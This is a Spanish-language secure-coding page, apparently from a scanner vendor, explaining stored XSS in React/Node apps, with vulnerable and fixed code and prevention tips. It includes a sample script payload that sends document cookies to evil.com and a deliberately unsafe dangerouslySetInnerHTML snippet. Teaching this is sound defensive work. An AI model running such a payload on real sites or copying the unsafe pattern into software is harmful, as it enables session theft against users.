highCWE-79A03:2021

XSS Almacenado

Contenido provisto por el usuario guardado en la base de datos sin sanitizar y renderizado en el navegador como HTML, permitiendo inyección de scripts persistente que se ejecuta para cada usuario que ve el contenido.

Cómo Funciona

A diferencia del XSS reflejado (que requiere que la víctima haga clic en un link), el XSS almacenado se inyecta una vez y persiste. Un atacante envía un comentario como `<script>fetch('https://evil.com?c='+document.cookie)</script>`. Tu app lo guarda, y cada usuario que carga la página ejecuta ese script. Una inyección, víctimas ilimitadas.

Código Vulnerable
// MAL: contenido crudo del usuario renderizado como HTML
// El servidor guarda el contenido tal cual
await db.comments.create({ data: { content: req.body.content } });
// El cliente lo renderiza sin sanitizar
<div dangerouslySetInnerHTML={{ __html: comment.content }} />
Código Seguro
// BIEN: sanitiza al guardar, escapa al renderizar
import DOMPurify from 'isomorphic-dompurify';
// Sanitiza antes de guardar
const clean = DOMPurify.sanitize(req.body.content);
await db.comments.create({ data: { content: clean } });
// En React, usa renderizado de texto por defecto
<p>{comment.content}</p>

Ejemplo Real

El gusano Samy de MySpace (2005) explotó XSS almacenado para agregar 1 millón de amigos en 20 horas. Ejemplos modernos incluyen XSS en el renderizador de markdown de Slack (2017, bounty de $3,500) y en los comentarios de issues de GitHub (parcheado antes de explotación).

Cómo Prevenirlo

  • Sanitiza el input HTML con DOMPurify (isomorphic-dompurify para SSR) antes de guardar
  • Usa el renderizado de texto por defecto de React (expresiones JSX) que auto-escapa
  • Solo usa dangerouslySetInnerHTML con contenido que haya sido sanitizado
  • Configura un Content-Security-Policy estricto para contener el daño de cualquier XSS perdido
  • Para editores de texto rico, usa solo tags HTML en allowlist (no script, no style)

Tecnologías Afectadas

ReactNext.jsnodejs

Data Hogo detecta esta vulnerabilidad automáticamente.

Escanea Tu Repo Gratis

Vulnerabilidades Relacionadas